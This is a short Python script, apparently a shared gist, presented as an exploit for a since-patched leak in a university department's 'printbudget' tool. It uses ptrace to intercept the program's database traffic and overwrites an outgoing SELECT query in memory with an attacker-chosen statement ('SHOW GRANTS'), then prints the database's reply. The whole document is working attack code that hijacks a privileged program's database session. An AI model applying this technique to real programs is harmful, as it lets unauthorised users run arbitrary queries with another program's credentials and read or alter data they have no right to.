Exploit of (patched) leak in printbudget of Radboud Universiteits FNWI's C&CZ's printbudget

gistfile1.py

from ptrace.debugger import PtraceDebugger
from ptrace.debugger.child import createChild
from ptrace.tools import locateProgram
from ptrace.func_call import FunctionCallOptions

class Program(object):
        def waitForSyscall(self, name, withResult=False):
                while True:
                        self.process.syscall()
                        self.process.waitSyscall()
                        state = self.process.syscall_state
                        syscall = state.event(self.syscall_options)
                        if syscall.name == name and (withResult == (
                                        syscall.result is not None)):
                                return syscall

        def main(self):
                self.debugger = PtraceDebugger()
                self.pid = createChild([locateProgram('printbudget')], False)
                self.process = self.debugger.addProcess(self.pid,
                                        is_attached=True)
                self.syscall_options = FunctionCallOptions(
                                write_types=True,
                                write_argname=True,
                                write_address=True)
                self.waitForSyscall('connect', True)
                self.waitForSyscall('connect', True)
                self.waitForSyscall('write', True)
                syscall = self.waitForSyscall('write', False)
                a = syscall[1].value
                l = syscall[2].value
                buf = self.process.readBytes(a, l)
                idx = buf.index('SELECT')
                query = "SHOW GRANTS"
                query += ' '* (l - idx - len(query))
                self.process.writeBytes(syscall[1].value + idx, query)
                syscall = self.waitForSyscall('read', True)
                print repr(self.process.readBytes(syscall[1].value,
                                        syscall.result))

if __name__ == '__main__':
        Program().main()